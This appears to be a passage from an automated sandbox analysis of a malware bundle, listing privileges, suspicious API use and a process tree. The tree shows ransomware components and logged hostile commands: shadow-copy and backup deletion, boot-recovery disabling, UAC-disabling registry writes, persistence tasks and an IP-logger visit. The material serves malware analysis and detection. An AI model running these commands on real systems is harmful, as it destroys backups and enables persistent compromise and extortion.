Token: SeShutdownPrivilege N/A C:\Windows\system32\conhost.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\conhost.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\system32\conhost.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\system32\conhost.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\system32\conhost.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\system32\conhost.exe N/A
Token: 33 N/A C:\Windows\system32\conhost.exe N/A
Token: 34 N/A C:\Windows\system32\conhost.exe N/A
Token: 35 N/A C:\Windows\system32\conhost.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\system32\conhost.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\system32\conhost.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\system32\conhost.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\system32\conhost.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\system32\conhost.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\system32\conhost.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\system32\conhost.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\system32\conhost.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\system32\conhost.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\system32\conhost.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\system32\conhost.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\system32\conhost.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\conhost.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\system32\conhost.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\system32\conhost.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\system32\conhost.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\system32\conhost.exe N/A
Token: 33 N/A C:\Windows\system32\conhost.exe N/A
Token: 34 N/A C:\Windows\system32\conhost.exe N/A
Token: 35 N/A C:\Windows\system32\conhost.exe N/A
Token: SeShutdownPrivilege N/A C:\Users\Admin\Desktop\8.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\Desktop\6.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\Desktop\6.exe N/A
Token: SeTcbPrivilege N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\taskdl.exe N/A
Token: SeTcbPrivilege N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\taskdl.exe N/A
Token: SeDebugPrivilege N/A C:\Documents and Settings\spoolsv.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Program Files\Internet Explorer\iexplore.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Program Files\Internet Explorer\iexplore.exe N/A
N/A N/A C:\Program Files\Internet Explorer\iexplore.exe N/A
N/A N/A C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE N/A
N/A N/A C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE N/A
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
N/A N/A C:\Users\Admin\Desktop\7.exe N/A
N/A N/A C:\Users\Admin\Desktop\7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\@[email protected] N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\@[email protected] N/A
N/A N/A C:\Program Files\Internet Explorer\iexplore.exe N/A
N/A N/A C:\Program Files\Internet Explorer\iexplore.exe N/A
N/A N/A C:\Program Files\Internet Explorer\iexplore.exe N/A
N/A N/A C:\Program Files\Internet Explorer\iexplore.exe N/A
N/A N/A C:\Program Files\Internet Explorer\iexplore.exe N/A
N/A N/A C:\Program Files\Internet Explorer\iexplore.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BroomSetup.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\@[email protected] N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\@[email protected] N/A

Suspicious use of UnmapMainImage

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 3040 wrote to memory of 1060 N/A C:\Users\Admin\AppData\Local\Temp\krunker.iohacks.exe C:\Windows\SysWOW64\cmd.exe
PID 3040 wrote to memory of 1060 N/A C:\Users\Admin\AppData\Local\Temp\krunker.iohacks.exe C:\Windows\SysWOW64\cmd.exe
PID 3040 wrote to memory of 1060 N/A C:\Users\Admin\AppData\Local\Temp\krunker.iohacks.exe C:\Windows\SysWOW64\cmd.exe
PID 3040 wrote to memory of 1060 N/A C:\Users\Admin\AppData\Local\Temp\krunker.iohacks.exe C:\Windows\SysWOW64\cmd.exe
PID 1060 wrote to memory of 2652 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Local\Temp\RarSFX0\4363463463464363463463463.exe
PID 1060 wrote to memory of 2652 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Local\Temp\RarSFX0\4363463463464363463463463.exe
PID 1060 wrote to memory of 2652 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Local\Temp\RarSFX0\4363463463464363463463463.exe
PID 1060 wrote to memory of 2652 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Local\Temp\RarSFX0\4363463463464363463463463.exe
PID 1060 wrote to memory of 2528 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Local\Temp\RarSFX0\bot.exe
PID 1060 wrote to memory of 2528 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Local\Temp\RarSFX0\bot.exe
PID 1060 wrote to memory of 2528 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Local\Temp\RarSFX0\bot.exe
PID 1060 wrote to memory of 2528 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Local\Temp\RarSFX0\bot.exe
PID 1060 wrote to memory of 2872 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected]
PID 1060 wrote to memory of 2872 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected]
PID 1060 wrote to memory of 2872 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected]
PID 1060 wrote to memory of 2872 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected]
PID 2528 wrote to memory of 2808 N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\bot.exe C:\Users\Admin\AppData\Local\Temp\3582-490\bot.exe
PID 2528 wrote to memory of 2808 N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\bot.exe C:\Users\Admin\AppData\Local\Temp\3582-490\bot.exe
PID 2528 wrote to memory of 2808 N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\bot.exe C:\Users\Admin\AppData\Local\Temp\3582-490\bot.exe
PID 2528 wrote to memory of 2808 N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\bot.exe C:\Users\Admin\AppData\Local\Temp\3582-490\bot.exe
PID 1060 wrote to memory of 2560 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected]
PID 1060 wrote to memory of 2560 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected]
PID 1060 wrote to memory of 2560 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected]
PID 1060 wrote to memory of 2560 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected]
PID 1060 wrote to memory of 2432 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected]
PID 1060 wrote to memory of 2432 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected]
PID 1060 wrote to memory of 2432 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected]
PID 1060 wrote to memory of 2432 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected]
PID 1060 wrote to memory of 2484 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe C:\Users\Admin\AppData\Local\Temp\RarSFX0\RIP_YOUR_PC_LOL.exe
PID 1060 wrote to memory of 2484 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe C:\Users\Admin\AppData\Local\Temp\RarSFX0\RIP_YOUR_PC_LOL.exe
PID 1060 wrote to memory of 2484 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe C:\Users\Admin\AppData\Local\Temp\RarSFX0\RIP_YOUR_PC_LOL.exe
PID 1060 wrote to memory of 2484 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe C:\Users\Admin\AppData\Local\Temp\RarSFX0\RIP_YOUR_PC_LOL.exe
PID 1060 wrote to memory of 2976 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe C:\Users\Admin\AppData\Local\Temp\RarSFX0\ska2pwej.aeh.exe
PID 1060 wrote to memory of 2976 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe C:\Users\Admin\AppData\Local\Temp\RarSFX0\ska2pwej.aeh.exe
PID 1060 wrote to memory of 2976 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe C:\Users\Admin\AppData\Local\Temp\RarSFX0\ska2pwej.aeh.exe
PID 1060 wrote to memory of 2976 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe C:\Users\Admin\AppData\Local\Temp\RarSFX0\ska2pwej.aeh.exe
PID 1060 wrote to memory of 2976 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe C:\Users\Admin\AppData\Local\Temp\RarSFX0\ska2pwej.aeh.exe
PID 1060 wrote to memory of 2976 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe C:\Users\Admin\AppData\Local\Temp\RarSFX0\ska2pwej.aeh.exe
PID 1060 wrote to memory of 2976 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe C:\Users\Admin\AppData\Local\Temp\RarSFX0\ska2pwej.aeh.exe
PID 2484 wrote to memory of 2832 N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\RIP_YOUR_PC_LOL.exe C:\Users\Admin\Desktop\1.exe
PID 2484 wrote to memory of 2832 N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\RIP_YOUR_PC_LOL.exe C:\Users\Admin\Desktop\1.exe
PID 2484 wrote to memory of 2832 N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\RIP_YOUR_PC_LOL.exe C:\Users\Admin\Desktop\1.exe
PID 2484 wrote to memory of 2832 N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\RIP_YOUR_PC_LOL.exe C:\Users\Admin\Desktop\1.exe
PID 1060 wrote to memory of 2612 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe C:\Users\Admin\AppData\Local\Temp\RarSFX0\x2s443bc.cs1.exe
PID 1060 wrote to memory of 2612 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe C:\Users\Admin\AppData\Local\Temp\RarSFX0\x2s443bc.cs1.exe
PID 1060 wrote to memory of 2612 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe C:\Users\Admin\AppData\Local\Temp\RarSFX0\x2s443bc.cs1.exe
PID 1060 wrote to memory of 2612 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe C:\Users\Admin\AppData\Local\Temp\RarSFX0\x2s443bc.cs1.exe
PID 1060 wrote to memory of 2612 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe C:\Users\Admin\AppData\Local\Temp\RarSFX0\x2s443bc.cs1.exe
PID 1060 wrote to memory of 2612 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe C:\Users\Admin\AppData\Local\Temp\RarSFX0\x2s443bc.cs1.exe
PID 1060 wrote to memory of 2612 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe C:\Users\Admin\AppData\Local\Temp\RarSFX0\x2s443bc.cs1.exe
PID 2832 wrote to memory of 2724 N/A C:\Users\Admin\Desktop\1.exe C:\Windows\system32\cmd.exe
PID 2832 wrote to memory of 2724 N/A C:\Users\Admin\Desktop\1.exe C:\Windows\system32\cmd.exe
PID 2832 wrote to memory of 2724 N/A C:\Users\Admin\Desktop\1.exe C:\Windows\system32\cmd.exe
PID 2832 wrote to memory of 2724 N/A C:\Users\Admin\Desktop\1.exe C:\Windows\system32\cmd.exe
PID 2432 wrote to memory of 1408 N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] C:\Users\Admin\AppData\Local\TEMPEX~1.EXE
PID 2432 wrote to memory of 1408 N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] C:\Users\Admin\AppData\Local\TEMPEX~1.EXE
PID 2432 wrote to memory of 1408 N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] C:\Users\Admin\AppData\Local\TEMPEX~1.EXE
PID 2432 wrote to memory of 1408 N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] C:\Users\Admin\AppData\Local\TEMPEX~1.EXE
PID 2432 wrote to memory of 2116 N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] C:\Windows\SysWOW64\icacls.exe
PID 2432 wrote to memory of 2116 N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] C:\Windows\SysWOW64\icacls.exe
PID 2432 wrote to memory of 2116 N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] C:\Windows\SysWOW64\icacls.exe
PID 2432 wrote to memory of 2116 N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] C:\Windows\SysWOW64\icacls.exe
PID 2976 wrote to memory of 3016 N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\ska2pwej.aeh.exe C:\Users\Admin\AppData\Local\Temp\is-Q9R29.tmp\ska2pwej.aeh.tmp
PID 2976 wrote to memory of 3016 N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\ska2pwej.aeh.exe C:\Users\Admin\AppData\Local\Temp\is-Q9R29.tmp\ska2pwej.aeh.tmp

System policy modification

evasion
Description Indicator Process Target
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" C:\Documents and Settings\spoolsv.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0" C:\Documents and Settings\spoolsv.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Users\Admin\Desktop\6.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" C:\Users\Admin\Desktop\6.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Users\Admin\Desktop\6.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Documents and Settings\spoolsv.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0" C:\Users\Admin\Desktop\6.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" C:\Users\Admin\Desktop\6.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0" C:\Users\Admin\Desktop\6.exe N/A

Uses Task Scheduler COM API

persistence

Uses Volume Shadow Copy service COM API

ransomware

Views/modifies file attributes

evasion
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\attrib.exe N/A
N/A N/A C:\Windows\SysWOW64\attrib.exe N/A
N/A N/A C:\Windows\SysWOW64\attrib.exe N/A

Processes

C:\Windows\Explorer.EXE

C:\Windows\Explorer.EXE

C:\Users\Admin\AppData\Local\Temp\krunker.iohacks.exe

"C:\Users\Admin\AppData\Local\Temp\krunker.iohacks.exe"

C:\Windows\SysWOW64\cmd.exe

cmd /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\wecker.txt.bat" "

C:\Users\Admin\AppData\Local\Temp\RarSFX0\4363463463464363463463463.exe

"4363463463464363463463463.exe"

C:\Users\Admin\AppData\Local\Temp\RarSFX0\bot.exe

"bot.exe"

C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected]

"[email protected]"

C:\Users\Admin\AppData\Local\Temp\3582-490\bot.exe

"C:\Users\Admin\AppData\Local\Temp\3582-490\bot.exe"

C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected]

"[email protected]"

C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected]

"[email protected]"

C:\Users\Admin\AppData\Local\Temp\RarSFX0\RIP_YOUR_PC_LOL.exe

"RIP_YOUR_PC_LOL.exe"

C:\Users\Admin\AppData\Local\Temp\RarSFX0\ska2pwej.aeh.exe

"ska2pwej.aeh.exe"

C:\Users\Admin\Desktop\1.exe

"C:\Users\Admin\Desktop\1.exe"

C:\Windows\system32\cmd.exe

"C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\11FB.tmp\120B.tmp\120C.bat C:\Users\Admin\Desktop\1.exe"

C:\Windows\SysWOW64\attrib.exe

attrib +h .

C:\Users\Admin\AppData\Local\Temp\is-Q9R29.tmp\ska2pwej.aeh.tmp

"C:\Users\Admin\AppData\Local\Temp\is-Q9R29.tmp\ska2pwej.aeh.tmp" /SL5="$9015C,4511977,830464,C:\Users\Admin\AppData\Local\Temp\RarSFX0\ska2pwej.aeh.exe"

C:\Users\Admin\AppData\Local\Temp\is-FNLFQ.tmp\x2s443bc.cs1.tmp

"C:\Users\Admin\AppData\Local\Temp\is-FNLFQ.tmp\x2s443bc.cs1.tmp" /SL5="$5018A,15784509,779776,C:\Users\Admin\AppData\Local\Temp\RarSFX0\x2s443bc.cs1.exe"

C:\Windows\SysWOW64\icacls.exe

icacls . /grant Everyone:F /T /C /Q

C:\Windows\SysWOW64\netsh.exe

C:\Windows\system32\netsh.exe advfirewall set allprofiles state on

C:\Users\Admin\AppData\Local\Temp\RarSFX0\taskdl.exe

taskdl.exe

C:\Windows\SysWOW64\cmd.exe

cmd /c 37031704847035.bat

C:\Windows\SysWOW64\cscript.exe

cscript.exe //nologo m.vbs

C:\Windows\SysWOW64\netsh.exe

C:\Windows\system32\netsh.exe advfirewall reset

C:\Windows\SysWOW64\attrib.exe

attrib +h +s F:\$RECYCLE

C:\Program Files\Internet Explorer\iexplore.exe

"C:\Program Files\Internet Explorer\iexplore.exe" https://iplogger.org/2bB2s6

C:\Users\Admin\Desktop\10.exe

"C:\Users\Admin\Desktop\10.exe"

C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE

"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:952 CREDAT:275457 /prefetch:2

C:\Windows\SysWOW64\icacls.exe

icacls . /grant Everyone:F /T /C /Q

C:\Windows\SysWOW64\attrib.exe

attrib +h .

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE

"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\Desktop\2.doc"

C:\Users\Admin\AppData\Local\Temp\RarSFX0\x2s443bc.cs1.exe

"x2s443bc.cs1.exe"

C:\Windows\splwow64.exe

C:\Windows\splwow64.exe 12288

C:\Windows\svchost.com

"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\TEMPEX~1.EXE"

C:\Windows\svchost.com

"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\TEMPSP~1.EXE"

C:\Users\Admin\AppData\Local\TEMPSP~1.EXE

C:\Users\Admin\AppData\Local\TEMPSP~1.EXE

C:\Users\Admin\AppData\Local\Temp\RarSFX0\@[email protected]

@[email protected] co

C:\Windows\svchost.com

"C:\Windows\svchost.com" "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\2D96.tmp\spwak.vbs

C:\Windows\SysWOW64\wscript.exe

C:\Windows\System32\wscript.exe C:\Users\Admin\AppData\Local\Temp\2D96.tmp\spwak.vbs

C:\Users\Admin\AppData\Local\TEMPEX~1Srv.exe

C:\Users\Admin\AppData\Local\TEMPEX~1Srv.exe

C:\Windows\svchost.com

"C:\Windows\svchost.com" "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\316C.tmp\splitterrypted.vbs

C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE

"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:952 CREDAT:930819 /prefetch:2

C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE

"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:952 CREDAT:734211 /prefetch:2

C:\Windows\SysWOW64\wscript.exe

C:\Windows\System32\wscript.exe C:\Users\Admin\AppData\Local\Temp\316C.tmp\splitterrypted.vbs

C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE

"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:952 CREDAT:537607 /prefetch:2

C:\Program Files\Internet Explorer\iexplore.exe

"C:\Program Files\Internet Explorer\iexplore.exe"

C:\Program Files\Internet Explorer\iexplore.exe

"C:\Program Files\Internet Explorer\iexplore.exe"

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE

"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde

C:\Windows\SysWOW64\DllHost.exe

C:\Windows\SysWOW64\DllHost.exe /Processid:{3F6B5E16-092A-41ED-930B-0B4125D91D4E}

C:\Program Files (x86)\Microsoft\DesktopLayerSrv.exe

"C:\Program Files (x86)\Microsoft\DesktopLayerSrv.exe"

C:\Program Files\Internet Explorer\iexplore.exe

"C:\Program Files\Internet Explorer\iexplore.exe"

C:\Program Files (x86)\Microsoft\DesktopLayer.exe

"C:\Program Files (x86)\Microsoft\DesktopLayer.exe"

C:\Users\Admin\AppData\Local\TEMPEX~1SrvSrv.exe

C:\Users\Admin\AppData\Local\TEMPEX~1SrvSrv.exe

C:\Users\Admin\AppData\Local\Temp\RarSFX0\@[email protected]

@[email protected] vs

C:\Windows\svchost.com

"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\RarSFX0\Files\movie.exe"

C:\Users\Admin\AppData\Local\Temp\RarSFX0\Files\movie.exe

C:\Users\Admin\AppData\Local\Temp\RarSFX0\Files\movie.exe

C:\Windows\SysWOW64\cmd.exe

cmd.exe /c start /b @[email protected] vs

C:\Users\Admin\AppData\Local\TEMPEX~1.EXE

C:\Users\Admin\AppData\Local\TEMPEX~1.EXE

C:\Users\Admin\AppData\Local\Temp\RarSFX0\Files\dart.exe

C:\Users\Admin\AppData\Local\Temp\RarSFX0\Files\dart.exe

C:\Windows\svchost.com

"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\RarSFX0\Files\dart.exe"

C:\Windows\SysWOW64\dialer.exe

"C:\Windows\system32\dialer.exe"

C:\Windows\SysWOW64\cmd.exe

cmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet

C:\Windows\SysWOW64\vssadmin.exe

vssadmin delete shadows /all /quiet

C:\Windows\system32\vssvc.exe

C:\Windows\system32\vssvc.exe

C:\Windows\SysWOW64\Wbem\WMIC.exe

wmic shadowcopy delete

C:\Users\Admin\AppData\Local\Temp\RarSFX0\Files\INSTAL~1.EXE

C:\Users\Admin\AppData\Local\Temp\RarSFX0\Files\INSTAL~1.EXE

C:\Windows\svchost.com

"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\RarSFX0\Files\INSTAL~1.EXE"

C:\Users\Admin\AppData\Local\Temp\BroomSetup.exe

C:\Users\Admin\AppData\Local\Temp\BroomSetup.exe

C:\Windows\SysWOW64\NOTEPAD.EXE

"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\_R_E_A_D___T_H_I_S___9L977HQW_.txt

C:\Windows\SysWOW64\mshta.exe

"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\Desktop\_R_E_A_D___T_H_I_S___NIGVRB9_.hta"

C:\Windows\SysWOW64\taskkill.exe

taskkill /f /im E

C:\Windows\system32\conhost.exe

\??\C:\Windows\system32\conhost.exe "-1084905749-4278018321107498747969052650-593413513-17687223165997423-994864694"

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /d /c taskkill /f /im E > NUL & ping -n 1 127.0.0.1 > NUL & del C > NUL && exit

C:\Windows\SysWOW64\PING.EXE

ping -n 1 127.0.0.1

C:\Windows\svchost.com

"C:\Windows\svchost.com" "C:\Windows\system32\cmd.exe" /d /c taskkill /f /im "E" > NUL & ping -n 1 127.0.0.1 > NUL & del "C" > NUL && exit

C:\Users\Admin\Desktop\5.exe

"C:\Users\Admin\Desktop\5.exe"

C:\Users\Admin\Desktop\6.exe

"C:\Users\Admin\Desktop\6.exe"

C:\Users\Admin\Desktop\7.exe

"C:\Users\Admin\Desktop\7.exe"

C:\Users\Admin\Desktop\8.exe

"C:\Users\Admin\Desktop\8.exe"

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE

"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\Desktop\9.docm"

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "WINWORD" /sc ONLOGON /tr "'C:\Program Files (x86)\Microsoft Office\Office14\MSOCFU\WINWORD.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "sppsvc" /sc ONLOGON /tr "'C:\Windows\System32\C_28593\sppsvc.exe'" /rl HIGHEST /f

C:\Users\Admin\AppData\Local\Temp\RarSFX0\taskdl.exe

taskdl.exe

C:\Windows\SysWOW64\reg.exe

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "fqyxddakcrpkv608" /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Temp\RarSFX0\tasksche.exe\"" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "VSSVC" /sc ONLOGON /tr "'C:\Windows\System32\sppuinotify\VSSVC.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "lsm" /sc ONLOGON /tr "'C:\Windows\System32\kstvtune\lsm.exe'" /rl HIGHEST /f

C:\Users\Admin\Desktop\6.exe

"C:\Users\Admin\Desktop\6.exe"

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "spoolsv" /sc ONLOGON /tr "'C:\Documents and Settings\spoolsv.exe'" /rl HIGHEST /f

C:\Windows\SysWOW64\cmd.exe

cmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "fqyxddakcrpkv608" /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Temp\RarSFX0\tasksche.exe\"" /f

C:\Users\Admin\AppData\Local\Temp\RarSFX0\@[email protected]

@[email protected]

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "explorer" /sc ONLOGON /tr "'C:\Windows\system\explorer.exe'" /rl HIGHEST /f

C:\Users\Admin\AppData\Local\Temp\RarSFX0\taskse.exe

taskse.exe C:\Users\Admin\AppData\Local\Temp\RarSFX0\@[email protected]

C:\Documents and Settings\spoolsv.exe

"C:\Documents and Settings\spoolsv.exe"

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "WmiPrvSE" /sc ONLOGON /tr "'C:\PerfLogs\Admin\WmiPrvSE.exe'" /rl HIGHEST /f

C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe

